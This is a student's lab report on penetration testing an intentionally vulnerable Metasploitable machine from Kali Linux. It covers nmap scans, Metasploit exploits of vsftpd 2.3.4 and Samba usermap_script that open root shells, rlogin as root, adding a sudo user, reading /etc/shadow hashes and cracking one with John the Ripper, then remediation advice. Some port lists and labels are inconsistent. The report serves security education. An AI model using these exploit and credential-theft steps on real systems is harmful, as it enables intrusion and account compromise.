

Network Penetration Testing with Real-World Exploits and Security Remediation

Name: Niraj Kumar Sharma

ERP: 6700451

Course: B.Tech CSE (Cybersecurity)

Semester: 4th

Section: CY4A

Date: 21/05/2025

Introduction:

In today's digital era, network security is a vital component for protecting both organizations and individuals. As cyber threats and attacks become more frequent, it is crucial to learn and apply network penetration testing to detect and fix vulnerabilities before malicious actors can take advantage of them. This project aims to simulate real-world network exploitation techniques alongside the necessary security remediation steps. It offers hands-on experience with industry-standard tools and practices, helping learners gain insight into the attacker's perspective and build strong defense strategies.

Theory about the project:

Network penetration testing, also known as ethical hacking, involves examining a computer system, network, or web application to uncover security weaknesses that attackers might exploit. The goal of penetration testing is to identify these vulnerabilities, evaluate their potential impact, and apply appropriate security measures to reduce the associated risks.

This project uses Kali Linux as the attacker's machine and Metasploitable as the target to simulate a realistic penetration testing environment. The process covers tasks such as network scanning, reconnaissance, enumeration, exploitation, privilege escalation, password cracking, and applying remediation techniques.

Completing these tasks will equip students with hands-on experience in both attacking and defending within the field of cybersecurity.

Project requirements

Two Operating System

1. Kali Linux (Attacking machine)
2. Metasploitable machine (Target Machine)

Tools Details:

| | |
|----------------------|--|
| Kali Linux | The attacker machine, containing pre-installed penetration testing tools. |
| Metasploitable | A vulnerable machine to practice attacks on. |
| nmap | For network scanning, port discovery, OS detection, and service version enumeration. |
| Metasploit Framework | For exploiting known vulnerabilities in services running on the target. |
| John the Ripper | For cracking hashed passwords obtained from /etc/shadow. |

Task 1 - Network Scanning

Task 1: Basic Network Scan

➤ nmap -v 192.168.160.131

```
Discovered open port 21/tcp on 192.168.160.131
Discovered open port 22/tcp on 192.168.160.131
Discovered open port 80/tcp on 192.168.160.131
Discovered open port 25/tcp on 192.168.160.131
Discovered open port 3306/tcp on 192.168.160.131
Discovered open port 139/tcp on 192.168.160.131
Discovered open port 1524/tcp on 192.168.160.131
Discovered open port 1099/tcp on 192.168.160.131
Discovered open port 512/tcp on 192.168.160.131
Discovered open port 5432/tcp on 192.168.160.131
Discovered open port 2049/tcp on 192.168.160.131
Discovered open port 6000/tcp on 192.168.160.131
Discovered open port 8000/tcp on 192.168.160.131
Discovered open port 512/tcp on 192.168.160.131
Discovered open port 514/tcp on 192.168.160.131
Discovered open port 8180/tcp on 192.168.160.131
Discovered open port 2121/tcp on 192.168.160.131
Discovered open port 6667/tcp on 192.168.160.131
Completed Connect Scan at 21:24, 0.275 elapsed (1000 total ports)
Nmap scan report for 192.168.160.131
Host is up (0.0022s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  cccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown

Read data files from: /usr/bin/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds
```

Task 2 – Reconnaissance

Task 1: Scanning for hidden Ports

```
nmap -v -p- 192.168.160.131
```

Output:

```
Discovered open port 36588/tcp on 192.168.160.131
Discovered open port 5432/tcp on 192.168.160.131
Discovered open port 6667/tcp on 192.168.160.131
Discovered open port 59437/tcp on 192.168.160.131
Completed Connect Scan at 21:30. 15.83s elapsed (65535 total ports)
Nmap scan report for 192.168.160.131
Host is up (0.000000s latency).
Nmap shown: 65589 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  cproxy-ftp
3306/tcp  open  mysql
3632/tcp  open  distccd
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  x11
6667/tcp  open  irc
6997/tcp  open  ircs-u
8009/tcp  open  ajp13
8180/tcp  open  http
8787/tcp  open  msgrsrvr
36588/tcp open  unknown
53204/tcp open  unknown
53204/tcp open  unknown
59437/tcp open  unknown

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 15.96 seconds
```

Total Hidden Ports = 7

List of hidden ports

1. 8787
2. 36588
3. 53204
4. 53452
5. 59437
6. 3632
7. 6697

Task 2: Service Version Detection

```
nmap -v -sV 192.168.160.131
```

Output:

```
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet        Linux telnetd
25/tcp    open  smtp          Postfix smtpd
53/tcp    open  domain        ISC BIND 9.4.2
80/tcp    open  http          Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind       2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec          netkit-rsh rexecd
513/tcp   open  login         OpenBSD or Solaris rlogin
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell     Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql         MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql    PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http          Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Task 3: Operating System Detection

```
nmap -v -O 192.168.160.132
```

Output:

```
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown
MAC Address: 00:0C:29:AB:A7:B8 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Uptime guess: 0.023 days (since Wed May 14 21:27:32 2025)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=204 (Good luck!)
IP ID Sequence Generation: All zeros
```

Task 3 - Enumeration

Target IP Address – 192.168.160.131

Operating System Details -

MAC Address: 00:0C:29:AB:A7:B8 (VMware)

Device type: general purpose

Running: Linux 2.6.X

OS CPE: cpe:/o:linux:linux_kernel:2.6

OS details: Linux 2.6.9 - 2.6.33

Services Version with open ports (LIST ALL THE OPEN PORTS EXCLUDING HIDDEN PORTS)

| PORT | STATE | SERVICE VERSION |
|--------|-------------|---|
| 21/tcp | open ftp | vsftpd 2.3.4 |
| 22/tcp | open ssh | OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) |
| 23/tcp | Open telnet | Linux telnetd |
| 25/tcp | open smtp | Postfix smptd |
| 53/tcp | open domain | ISC BIND 9.4.2 |

| | | |
|----------|------------------|---|
| 80/tcp | open http | Apache httpd 2.2.8 ((Ubuntu) DAV/2) |
| 111/tcp | open rpcbind | 2 (RPC #100000) |
| 139/tcp | open netbios-ssn | Samba smbd 3.X - 4.X (workgroup: WORKGROUP) |
| 445/tcp | open netbios-ssn | Samba smbd 3.X - 4.X (workgroup: WORKGROUP) |
| 512/tcp | open exec | netkit-rsh rexecd |
| 513/tcp | open login | OpenBSD or Solaris rlogind |
| 514/tcp | open tcpwrapped | |
| 1099/tcp | open java-rmi | GNU Classpath grmiregistry |
| 1524/tcp | open bindshell | Metasploitable root shell |
| 2049/tcp | open nfs | 2-4 (RPC #100003) |
| 2121/tcp | open ftp | ProFTPD 1.3.1 |
| 3306/tcp | open mysql | MySQL 5.0.51a-3ubuntu5 |
| 5432/tcp | open postgresql | PostgreSQL DB 8.3.0 - 8.3.7 |
| 5900/tcp | open vnc | VNC (protocol 3.3) |
| 6000/tcp | open X11 | (access denied) |
| 6667/tcp | open irc | UnrealIRCd |
| 8009/tcp | open ajp13 | Apache Jserv (Protocol v1.3) |
| 8180/tcp | open http | Apache Tomcat/Coyote JSP engine 1.1 |

Hidden Ports with Service Versions (ONLY HIDDEN PORTS)

1. 8787/tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drbs)
2. 3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
3. 6697/tcp open irc UnrealIRCd
4. 35851/tcp open mountd 1-3 (RPC #100005)
5. 36571/tcp open nlockmgr 1-4 (RPC #100021)
6. 44585/tcp open java-rmi GNU Classpath grmiregistry
7. 51228/tcp open status 1 (RPC #100024)

Task 4- Exploitation of services

1. vsftpd 2.3.4 (Port 21 - FTP)

- msfconsole
- use exploit/unix/ftp/vsftpd_234_backdoor
- set RHOST 192.168.160.131
- set RPORT 21
- run

```

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.160.131
RHOST => 192.168.160.131
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RPORT 21
RPORT => 21
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.160.131:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.160.131:21 - USER: 331 Please specify the password.
[*] 192.168.160.131:21 - Backdoor service has been spawned, handling ...
[*] 192.168.160.131:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.160.133:45301 → 192.168.160.131:6200) at 2025-05-15 13:47:54 +0530

whoami
root
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
id
uid=0(root) gid=0(root)

```

2. SMB 3.0.20-Debian (Port 443)

- search smb version
- use auxiliary/scanner/smb/smb_version
- use exploit/multi/samba/usermap_script
- show options
- set RHOST 192.168.160.131
- run

```
LHOST 192.168.160.133 yes      The listen address (an interface may be specified)
LPORT 4444 yes      The listen port
eth0 Flags=4163 UP,BROADCAST,MULTICAST  mtu 1500
        link layer: Ethernet port 0x00:0c:29:b6:03:98  broadcast 00:0c:29:ff:ff:ff
Exploit target: 00:0c:29:b6:03:98 (Windows 10 Pro (Ethernet))
  Id  Name          Status    Bytes 0x72240 (19 KB)
  0  Automatic      Enabled   Bytes 0x00160 (3 KB HUB)
                                Errors 0  Collisions 0

View the full module info with the info, or info -d command.

msf6 exploit(multi/samba/usermap_script) > set RHOST 192.168.160.131
RHOST => 192.168.160.131
msf6 exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 192.168.160.133:4444  [sessions 0]
[*] Command shell session 1 opened (192.168.160.133:4444 → 192.168.160.131:58029) at 2025-05-15 14:25:34 +0530

ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
whoami
root
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
id
uid=0(root) gid=0(root)
```

3. Exploiting R Services (Port 512,513,514)

- nmap -p 512,513,514 -sC -sV --script=vuln 192.168.160.131
- rlogin -l root 192.168.160.131

```
[root@kali:~/home/kali]# nmap -p 512,513,514 -sC -sV --script=vuln 192.168.160.131
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-15 14:38 IST
Nmap scan report for 192.168.160.131
Host is up (0.00074s latency).

PORT      STATE SERVICE VERSION
512/tcp    open  exec    netkit-rsh rexecd
513/tcp    open  login   OpenBSD or Solaris rlogind
514/tcp    open  tcpwrapped
MAC Address: 00:0C:29:AB:A7:B8 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.88 seconds

[root@kali:~/home/kali]# rlogin -l root 192.168.160.131
Last login: Thu May 15 03:35:43 EDT 2025 from :0.0 on pts/0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have mail.
root@metasploitable:~# whoami
root
root@metasploitable:~# uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
root@metasploitable:~# id
uid=0(root) gid=0(root) groups=0(root)
root@metasploitable:~# ip6 -mcastprefix
::1          ff02::1           ip6-allhosts          ip6-localhost          ip6-mcastprefix          metasploitable.localdomain
fe00::0       ff02::2           ip6-allnodes          ip6-localnet           localhost             metasploitable
ff00::0       ff02::3           ip6-allrouters        ip6-loopback          metasploitable
root@metasploitable:~#
```

Task 5 - Create user with root permission

- adduser khushi
- password hello
- sudo usermod -aG sudo khushi

```
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
kai:x:1003:1003:kai,,:/home/kai:/bin/bash
khushi:x:1004:1004:khushi,,,:/home/khushi:/bin/bash
root@metasploitable:/home/msfadmin# _
```

- cat /etc/passwd |
- sudo cat /etc/shadow

```
mysql:!:14685:0:99999:7:::
tomcat55:*:14691:0:99999:7:::
distccd:*:14698:0:99999:7:::
user:$1$HE8u9xrH$K.o3G93DGoxIiQKKPmUgZ0:14699:0:99999:7:::
service:$1$KR3ue7JZ$7gxELDuper50hp6cj23Bu//:14715:0:99999:7:::
telnetd:*:14715:0:99999:7:::
proftpd:*:14727:0:99999:7:::
statd:*:15474:0:99999:7:::
kai:$1$pRIBDOL$uv6yNsRa9xnumbFighYDN/:20224:0:99999:7:::
khushi:$1$auTTj58P$cMsEtuQG6gW0kzHuy7Wn1:20226:0:99999:7:::
root@metasploitable:/home/msfadmin#
```

Task 6 - Cracking password hashes

- Save the password hash in a text file.
- Run:
john hashes.txt
john hashes.txt --show

```
└─(kali㉿kali)-[~]
$ john Crack_this
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
hello          (khushi)
1g 0:00:00:00 DONE 2/3 (2025-05-18 09:57) 50.00g/s 66400p/s 66400c/s 66400C/s 123456..larry
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

└─(kali㉿kali)-[~]
```

Task 7 – Remediation

| Service | Current Version | Latest Version | Fix Recommendation |
|---------|-----------------|----------------|--|
| vsftpd | 2.3.4 | 3.0.3 | Upgrade to latest version to fix backdoor vulnerability. |
| OpenSSH | 4.7p1 | 9.x | Apply the latest security patches. |
| drb | Ruby 1.8 | Ruby 3.x | Disable unnecessary services or upgrade Ruby version. |

1. FTP Service (vsftpd)

Current Version: vsftpd 2.3.4

Latest Version: vsftpd 3.0.5 (as of 2025)

Vulnerability: Version 2.3.4 is affected by a backdoor vulnerability where an attacker can gain a root shell if a malicious payload is sent. This is one of the most serious vulnerabilities in vsftpd.

CVE:

[CVE-2011-2523](#)

Remediation:

- Option 1: Upgrade to vsftpd 3.0.5
- Option 2: Disable FTP and use more secure alternatives like SFTP (via SSH)

2. SMB 3.0.20-Debian (Port 443)

- **Service:** Samba SMB

- **Current Version:** 3.0.20

- **Latest Version:** Samba 4.20.1 (as of May 2025)

- **Vulnerabilities:**

- **SMB version 3.0.20** is vulnerable to:
 - Remote Code Execution (RCE)
 - Null session attacks
 - Arbitrary file write/read

- **Common CVEs:**

- [CVE-2007-2447](#) – Samba "username map script" command injection
- [CVE-2017-7494](#) – Arbitrary code execution.

- **Remediation Steps:**

- Disable SMBv1 and restrict access to trusted IPs only
- Upgrade Samba to the **latest stable version (v4.20.1)**
- Harden the /etc/samba/smb.conf file to disable guest access and enable logging

3. R Services (Ports 512 - rexec, 513 - rlogin, 514 - rsh)

- **Services:** Rexec, Rlogin, Rsh (Legacy UNIX services)

- **Status:** Outdated, Insecure, and Deprecated

- **Vulnerabilities:**

- Transmit credentials in plaintext
 - Vulnerable to **MITM (Man-in-the-Middle)** and **replay attacks**
 - Weak or no authentication mechanism
 - Allow unauthorized remote access if .rhosts files are misconfigured
 - **CVEs:**
 - [CVE-1999-0651](#) – R-services allow remote attackers to access without proper authentication.
 - **Remediation Steps:**
 - Immediately disable the rsh, rlogin, and rexec services:
-

Major Learning From this project

This project offered hands-on, detailed experience in ethical hacking, system enumeration, and network security. A key takeaway was understanding how Linux handles user accounts and how user information and password hashes are stored in files like /etc/passwd and /etc/shadow. I also learned how these password hashes can be cracked using tools like John the Ripper, underscoring the critical need for strong and secure authentication practices.

Using Nmap, I performed various types of scans such as:

- nmap -v for discovering open ports,
- nmap -sV for detecting service versions, and
- nmap -O for identifying the target operating system.

Through these techniques, I was able to detect running services like SMB and R services, assess their vulnerability, and recognize the importance of disabling or updating insecure services.

The exploitation phase using Metasploit helped me understand how attackers can gain unauthorized access by exploiting weaknesses in unpatched or misconfigured systems. Creating a root-level user demonstrated how privilege escalation works and the potential impact of poor access control.

Cracking password hashes revealed the practical risks of using weak or common passwords and emphasized why cryptographic security and regular audits are critical.

Finally, researching and recommending remediation strategies like version upgrades, service minimization, and configuration hardening gave me a clear understanding of defensive best practices. This project not only improved my technical abilities but also enhanced my ability to think from both an attacker's perspective and a defender's mindset, which is essential in cybersecurity.